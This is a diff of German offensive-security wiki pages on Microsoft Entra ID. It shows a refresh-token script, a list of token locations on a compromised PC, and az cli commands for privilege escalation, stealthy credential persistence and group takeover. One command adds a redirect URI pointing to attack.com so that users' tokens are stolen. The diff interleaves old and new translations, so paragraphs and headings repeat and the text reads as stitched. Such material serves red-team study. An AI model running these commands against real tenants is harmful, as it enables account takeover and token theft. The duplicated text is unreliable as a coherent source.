||||
parser.add_argument(
|
||||
"--scope",
|
||||
default=".default offline_access",
|
||||
help="Scopes (default: '.default offline_access').",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
|
||||
)
|
||||
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
|
||||
parser.add_argument(
|
||||
"--user-agent",
|
||||
default="python-requests/2.32.3",
|
||||
help="User-Agent sent to token endpoint.",
|
||||
)
|
||||
parser.add_argument("--origin", default=None, help="Optional Origin header.")
|
||||
parser.add_argument(
|
||||
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-cae",
|
||||
action="store_true",
|
||||
help="Disable CAE claims in token request.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--token-out",
|
||||
action="store_true",
|
||||
help="Print access/refresh tokens in output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-jwt-parsing",
|
||||
action="store_true",
|
||||
help="Do not parse JWT claims.",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Sending request to token endpoint")
|
||||
try:
|
||||
tokens = refresh_broci_token(
|
||||
refresh_token=args.refresh_token,
|
||||
client_id=args.client_id,
|
||||
scope=args.scope,
|
||||
api=args.api,
|
||||
tenant=args.tenant,
|
||||
user_agent=args.user_agent,
|
||||
origin=args.origin,
|
||||
brk_client_id=args.brk_client_id,
|
||||
redirect_uri=args.redirect_uri,
|
||||
disable_cae=args.disable_cae,
|
||||
)
|
||||
except Exception as e:
|
||||
print(f"[!] Error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
expires_in = int(tokens.get("expires_in", 0))
|
||||
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
|
||||
tokens["expiration_time"] = expiration_time
|
||||
|
||||
print(
|
||||
"[+] Got an access token and a refresh token"
|
||||
if tokens.get("refresh_token")
|
||||
else "[+] Got an access token (no refresh token requested)"
|
||||
)
|
||||
|
||||
if not args.disable_jwt_parsing:
|
||||
try:
|
||||
jwt_payload = parse_jwt_payload(tokens["access_token"])
|
||||
audience = jwt_payload.get("aud", "")
|
||||
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
|
||||
tokens["scp"] = jwt_payload.get("scp")
|
||||
tokens["tenant"] = jwt_payload.get("tid")
|
||||
tokens["user"] = jwt_payload.get("upn")
|
||||
tokens["client_app"] = jwt_payload.get("app_displayname")
|
||||
tokens["client_app_id"] = args.client_id
|
||||
tokens["auth_methods"] = jwt_payload.get("amr")
|
||||
tokens["ip"] = jwt_payload.get("ipaddr")
|
||||
tokens["audience"] = audience
|
||||
if isinstance(audience, str):
|
||||
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
|
||||
if "xms_cc" in jwt_payload:
|
||||
tokens["xms_cc"] = jwt_payload.get("xms_cc")
|
||||
except Exception as e:
|
||||
print(f"[!] JWT parse error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
else:
|
||||
print(f"[i] Expires at: {expiration_time}")
|
||||
|
||||
if args.token_out:
|
||||
print("\nAccess Token:")
|
||||
print(tokens.get("access_token", ""))
|
||||
if tokens.get("refresh_token"):
|
||||
print("\nRefresh Token:")
|
||||
print(tokens["refresh_token"])
|
||||
|
||||
print("\nToken object (JSON):")
|
||||
print(json.dumps(tokens, indent=2))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
```
|
||||
</details>
|
||||
|
||||
## Wo man Tokens findet
|
||||
|
||||
Aus Sicht eines Angreifers ist es sehr interessant zu wissen, wo man access und refresh tokens finden kann, wenn z. B. der PC eines Opfers kompromittiert wird:
|
||||
|
||||
- Inside **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** enthält Informationen über in der Vergangenheit angemeldete Benutzer
|
||||
- **`clouds.config`** enthält Informationen über Abonnements
|
||||
- **`service_principal_entries.json`** enthält application credentials (tenant id, clients and secret). Nur unter Linux & macOS
|
||||
- **`msal_token_cache.json`** enthält access tokens und refresh tokens. Nur unter Linux & macOS
|
||||
- **`service_principal_entries.bin`** und msal_token_cache.bin werden unter Windows verwendet und sind mit DPAPI verschlüsselt
|
||||
- **`msal_http_cache.bin`** ist ein Cache für HTTP-Anfragen
|
||||
- Laden: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** enthält Informationen über vorherige Anmeldungen mit Az PowerShell (aber keine Anmeldeinformationen)
|
||||
- In **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** befinden sich mehrere `.bin`-Dateien mit **access tokens**, ID tokens und Kontoinformationen, verschlüsselt mit der DPAPI des Benutzers.
|
||||
- Es ist möglich, weitere **access tokens** in den `.tbres`-Dateien im Ordner **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** zu finden, die eine Base64 (mit DPAPI verschlüsselt) enthalten, die access tokens beinhaltet.
|
||||
- Unter Linux und macOS kann man **access tokens, refresh tokens und id tokens** aus Az PowerShell (falls verwendet) bekommen, indem man `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` ausführt
|
||||
- **`service_principal_entries.bin`** und **`msal_token_cache.bin`** werden unter Windows verwendet und sind mit DPAPI verschlüsselt
|
||||
- **`msal_http_cache.bin`** ist ein Cache für HTTP-Requests
|
||||
- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** enthält Informationen über frühere Logins mit Az PowerShell (aber keine Credentials)
|
||||
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** befinden sich mehrere `.bin`-Dateien mit **access tokens**, **ID tokens** und Account-Informationen, verschlüsselt mit der DPAPI des Users.
|
||||
- Man kann weitere **access tokens** in den `.tbres`-Dateien inside **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** finden, die eine base64 mit DPAPI verschlüsselte Darstellung von access tokens enthalten.
|
||||
- Unter Linux und macOS kann man **access tokens, refresh tokens und id tokens** von Az PowerShell (falls verwendet) bekommen durch Ausführen von `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
|
||||
- Unter Windows erzeugt das nur id tokens.
|
||||
- Man kann prüfen, ob Az PowerShell unter Linux und macOS verwendet wurde, indem man kontrolliert, ob `$HOME/.local/share/.IdentityService/` existiert (auch wenn die enthaltenen Dateien leer und nutzlos sind)
|
||||
- Wenn der Benutzer im Browser bei Azure angemeldet ist, kann man laut diesem [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) den Authentifizierungsfluss mit einer **Weiterleitung auf localhost** starten, das Browserfenster die Anmeldung automatisch autorisieren lassen und das refresh token empfangen. Beachte, dass nur wenige FOCI-Anwendungen Redirects auf localhost erlauben (wie az cli oder das PowerShell-Modul), daher müssen diese Anwendungen zugelassen sein.
|
||||
- Eine weitere im Blog erklärte Option ist die Verwendung des Tools [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow), das jede Anwendung verwenden kann, weil es den OAuth-Code erhält, um dann mithilfe des Titels der finalen Authentifizierungsseite ein refresh token zu bekommen, unter Verwendung der Redirect-URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
|
||||
- Man kann prüfen, ob Az PowerShell unter Linux und macOS verwendet wurde, indem man schaut, ob `$HOME/.local/share/.IdentityService/` existiert (obwohl die enthaltenen Dateien leer und nutzlos sind)
|
||||
- Wenn der User im Browser in Azure eingeloggt ist, kann man laut diesem [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) den Authentifizierungsflow mit einer **redirect to localhost** starten, den Browser die Anmeldung automatisch autorisieren lassen und ein refresh token erhalten. Beachte, dass es nur wenige FOCI applications gibt, die redirect to localhost erlauben (z. B. az cli oder das powershell module), diese Applications müssen also erlaubt sein.
|
||||
- Eine weitere in dem Blog erklärte Option ist die Nutzung des Tools [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow), das jede Application verwenden kann, weil es den OAuth code erhält, um anschließend ein refresh token aus dem Titel der finalen Auth-Seite zu extrahieren, indem die Redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient` verwendet wird.
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
|
||||
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+146
-41
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass **nicht alle granularen Berechtigungen**, die integrierte Rollen in Entra ID haben, **für die Verwendung in benutzerdefinierten Rollen geeignet sind.**
|
||||
> Beachte, dass **nicht alle granularen Berechtigungen**, die integrierten Rollen in Entra ID haben, **für benutzerdefinierte Rollen verwendbar sind.**
|
||||
|
||||
## Rollen
|
||||
|
||||
### Rolle: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an Prinzipale zuzuweisen und um Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um Privilegien zu eskalieren.
|
||||
Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an principals zuzuweisen und Rollen zusätzliche Berechtigungen zu geben. Beide Aktionen können missbraucht werden, um Privilegien zu eskalieren.
|
||||
|
||||
- Rolle einem Benutzer zuweisen:
|
||||
```bash
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- Fügen Sie einer Rolle weitere Berechtigungen hinzu:
|
||||
- Weitere Berechtigungen zu einer Rolle hinzufügen:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Dies ermöglicht einem Angreifer, **Anmeldeinformationen** (Passwörter oder Zertifikate) zu bestehenden Anwendungen hinzuzufügen. Wenn die Anwendung über privilegierte Berechtigungen verfügt, kann der Angreifer sich als diese Anwendung authentifizieren und diese Berechtigungen erlangen.
|
||||
Dies erlaubt einem Angreifer, **Anmeldeinformationen** (Passwörter oder Zertifikate) zu bestehenden Anwendungen hinzuzufügen. Wenn die Anwendung über hochprivilegierte Berechtigungen verfügt, kann sich der Angreifer als diese Anwendung authentifizieren und diese Privilegien erlangen.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Dies ermöglicht die gleichen Aktionen wie `applications/credentials/update`, jedoch beschränkt auf Anwendungen in einem einzelnen Verzeichnis.
|
||||
Dies ermöglicht dieselben Aktionen wie `applications/credentials/update`, ist jedoch auf Anwendungen in einem einzelnen Verzeichnis beschränkt.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Durch das Hinzufügen als Eigentümer kann ein Angreifer die Anwendung manipulieren, einschließlich Anmeldeinformationen und Berechtigungen.
|
||||
Indem er sich selbst als Besitzer hinzufügt, kann ein Angreifer die Anwendung manipulieren, einschließlich Anmeldeinformationen und Berechtigungen.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Ein Angreifer kann eine Umleitungs-URI zu Anwendungen hinzufügen, die von Benutzern des Mandanten verwendet werden, und dann Login-URLs mit der neuen Umleitungs-URI teilen, um deren Tokens zu stehlen. Beachten Sie, dass die Authentifizierung automatisch erfolgt, wenn der Benutzer bereits in der Anwendung angemeldet ist, ohne dass der Benutzer etwas akzeptieren muss.
|
||||
Ein Angreifer kann einer Anwendung, die von Benutzern des tenant genutzt wird, eine redirect URI hinzufügen und ihnen dann login URLs schicken, die die neue redirect URL verwenden, um ihre tokens zu stehlen. Beachte, dass, wenn der Benutzer bereits in der Anwendung eingeloggt war, die Authentifizierung automatisch erfolgt, ohne dass der Benutzer etwas akzeptieren muss.
|
||||
|
||||
Es ist auch möglich, die Berechtigungen, die die Anwendung anfordert, zu ändern, um mehr Berechtigungen zu erhalten, aber in diesem Fall muss der Benutzer erneut die Aufforderung akzeptieren, die nach allen Berechtigungen fragt.
|
||||
Beachte außerdem, dass es auch möglich ist, die Berechtigungen zu ändern, die die Anwendung anfordert, um mehr Berechtigungen zu erhalten; in diesem Fall muss der Benutzer jedoch die Aufforderung zur Zustimmung zu allen Berechtigungen erneut akzeptieren.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**Wie in [diesem Beitrag](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt** war es sehr üblich, default applications zu finden, denen **API permissions** vom Typ **`Application`** zugewiesen waren. Eine API Permission (wie sie in der Entra ID-Konsole genannt wird) vom Typ **`Application`** bedeutet, dass die Application die API ohne Benutzerkontext (ohne Benutzerlogin in die App) aufrufen und Aktionen ausführen kann, und dass dafür keine Entra ID-Rollen erforderlich sind. Daher ist es sehr häufig, **hoch privilegierte Applications in jedem Entra ID-Tenant** zu finden.
|
||||
|
||||
Wenn ein Angreifer eine Berechtigung/Rolle hat, die es erlaubt, **die credentials (secret oder certificate) der Application zu aktualisieren**, kann der Angreifer neue Credentials erzeugen und diese dann verwenden, um **sich als die Application zu authentifizieren**, wodurch er alle Berechtigungen erhält, die die Application besitzt.
|
||||
|
||||
Beachte, dass der erwähnte Blog einige **API permissions** gängiger Microsoft default applications aufzeigt; einige Zeit nach diesem Bericht hat Microsoft dieses Problem jedoch behoben, sodass es nicht mehr möglich ist, sich als Microsoft applications einzuloggen. Dennoch ist es weiterhin möglich, **custom applications mit hohen Privilegien, die missbraucht werden könnten**, zu finden.
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Alle Anwendungen mit API-Berechtigungen für Nicht-Microsoft-APIs finden (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Dies ermöglicht es einem Angreifer, Anmeldeinformationen zu bestehenden Dienstprinzipalen hinzuzufügen. Wenn der Dienstprincipal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen.
|
||||
Dies ermöglicht einem Angreifer, bestehenden Service Principals Anmeldeinformationen hinzuzufügen. Wenn das Service Principal über erhöhte Berechtigungen verfügt, kann der Angreifer diese Berechtigungen übernehmen.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Das neu generierte Passwort wird nicht in der Webkonsole angezeigt, daher könnte dies eine heimliche Möglichkeit sein, um Persistenz über einen Dienstprinzipal aufrechtzuerhalten.\
|
||||
> Über die API können sie gefunden werden mit: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> Das neu generierte Passwort erscheint nicht in der Webkonsole, daher könnte dies eine unauffällige Methode sein, um Persistenz für einen Service Principal aufrechtzuerhalten.\
|
||||
> Über die API lassen sie sich mit: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` finden
|
||||
|
||||
Wenn Sie den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhalten, liegt das daran, dass **es nicht möglich ist, die Eigenschaft passwordCredentials** des SP zu ändern und Sie sie zuerst entsperren müssen. Dafür benötigen Sie eine Berechtigung (`microsoft.directory/applications/allProperties/update`), die es Ihnen ermöglicht, Folgendes auszuführen:
|
||||
Wenn du den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhältst, liegt das daran, dass **es nicht möglich ist, die Eigenschaft passwordCredentials** des SP zu ändern, und du ihn zuerst entsperren musst. Dafür benötigst du eine Berechtigung (`microsoft.directory/applications/allProperties/update`), die es dir erlaubt, Folgendes auszuführen:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Dies ermöglicht es einem Angreifer, Anmeldeinformationen zu bestehenden Dienstprinzipalen hinzuzufügen. Wenn der Dienstprincipal über erhöhte Berechtigungen verfügt, kann der Angreifer diese Berechtigungen übernehmen.
|
||||
Dies ermöglicht einem Angreifer, vorhandenen service principals credentials hinzuzufügen. Wenn der service principal über elevated privileges verfügt, kann der Angreifer diese übernehmen.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Ähnlich wie bei Anwendungen ermöglicht diese Berechtigung das Hinzufügen weiterer Eigentümer zu einem Dienstprinzipal. Das Besitzen eines Dienstprinzipals ermöglicht die Kontrolle über dessen Anmeldeinformationen und Berechtigungen.
|
||||
Ähnlich wie bei applications ermöglicht diese Berechtigung, weitere Besitzer für einen service principal hinzuzufügen. Der Besitz eines service principal erlaubt die Kontrolle über dessen Anmeldeinformationen und Berechtigungen.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nachdem ich einen neuen Eigentümer hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, auch wenn es die Methode ist, die Sie verwenden müssen, um den Eigentümer zu löschen. Daher **können Sie heutzutage keine Eigentümer entfernen**.
|
||||
> Nachdem ich einen neuen owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, obwohl das die Methode ist, die du zum Löschen des owner verwenden musst. Du kannst also heutzutage **keine owners entfernen**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` und `enable`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, Dienstprinzipale zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen Dienstprinzipal zu aktivieren, auf den er irgendwie Zugriff erhalten könnte, um Privilegien zu eskalieren.
|
||||
Diese Berechtigungen ermöglichen das Deaktivieren und Aktivieren von service principals. Ein Angreifer könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er irgendwie Zugriff erlangen konnte, um damit Privilegien zu eskalieren.
|
||||
|
||||
Beachten Sie, dass der Angreifer für diese Technik zusätzliche Berechtigungen benötigt, um den aktivierten Dienstprinzipal zu übernehmen.
|
||||
Beachte, dass der Angreifer für diese Technik zusätzliche Berechtigungen benötigen wird, um den aktivierten service principal zu übernehmen.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Diese Berechtigungen ermöglichen das Erstellen und Abrufen von Anmeldeinformationen für die einmalige Anmeldung, die den Zugriff auf Drittanwendungen ermöglichen könnten.
|
||||
Diese Berechtigungen erlauben das Erstellen und Abrufen von Anmeldeinformationen für single sign-on, was den Zugriff auf Anwendungen von Drittanbietern ermöglichen könnte.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -164,21 +277,13 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### Anwendungen Privilegieneskalation
|
||||
|
||||
**Wie in [diesem Beitrag](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt,** war es sehr häufig, Standardanwendungen zu finden, die **API-Berechtigungen** vom Typ **`Application`** zugewiesen haben. Eine API-Berechtigung (wie im Entra ID-Portal genannt) vom Typ **`Application`** bedeutet, dass die Anwendung auf die API ohne Benutzerkontext (ohne dass sich ein Benutzer in die App einloggt) zugreifen kann und keine Entra ID-Rollen benötigt, um dies zu ermöglichen. Daher ist es sehr häufig, **hochprivilegierte Anwendungen in jedem Entra ID-Mandanten** zu finden.
|
||||
|
||||
Wenn ein Angreifer also über eine Berechtigung/Rolle verfügt, die es ihm erlaubt, **die Anmeldeinformationen (Geheimnis oder Zertifikat) der Anwendung zu aktualisieren**, kann der Angreifer eine neue Anmeldeinformation generieren und diese dann verwenden, um **sich als die Anwendung zu authentifizieren**, wodurch er alle Berechtigungen erhält, die die Anwendung hat.
|
||||
|
||||
Beachten Sie, dass der erwähnte Blog einige **API-Berechtigungen** gängiger Microsoft-Standardanwendungen teilt, jedoch hat Microsoft dieses Problem einige Zeit nach diesem Bericht behoben, und es ist jetzt nicht mehr möglich, sich als Microsoft-Anwendungen anzumelden. Es ist jedoch weiterhin möglich, **benutzerdefinierte Anwendungen mit hohen Berechtigungen zu finden, die missbraucht werden könnten**.
|
||||
|
||||
---
|
||||
|
||||
## Gruppen
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Diese Berechtigung ermöglicht es, Benutzer zu privilegierten Gruppen hinzuzufügen, was zu einer Privilegieneskalation führt.
|
||||
Diese Berechtigung ermöglicht das Hinzufügen von Benutzern zu privilegierten Gruppen und kann zu einer Privilegieneskalation führen.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
@@ -186,22 +291,22 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Diese Berechtigung ermöglicht es, Eigentümer von Gruppen zu werden. Ein Eigentümer einer Gruppe kann die Mitgliedschaft und Einstellungen der Gruppe steuern, was potenziell zu einer Eskalation der Berechtigungen innerhalb der Gruppe führen kann.
|
||||
Diese Berechtigung ermöglicht es, Inhaber von Gruppen zu werden. Ein Inhaber einer Gruppe kann die Mitgliedschaft und Einstellungen der Gruppe kontrollieren, was potenziell zu einer Eskalation von Rechten auf Gruppenebene führen kann.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Hinweis**: Diese Berechtigung schließt Entra ID rollenzuweisbare Gruppen aus.
|
||||
**Hinweis**: Diese Berechtigung schließt Entra ID role-assignable groups aus.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Diese Berechtigung erlaubt es, Mitglieder zu einer Gruppe hinzuzufügen. Ein Angreifer könnte sich selbst oder bösartige Konten zu privilegierten Gruppen hinzufügen, was erhöhten Zugriff gewähren kann.
|
||||
Diese Berechtigung erlaubt das Hinzufügen von Mitgliedern zu einer Gruppe. Ein Angreifer könnte sich selbst oder bösartige Konten zu privilegierten Gruppen hinzufügen, was erhöhte Rechte gewähren kann.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
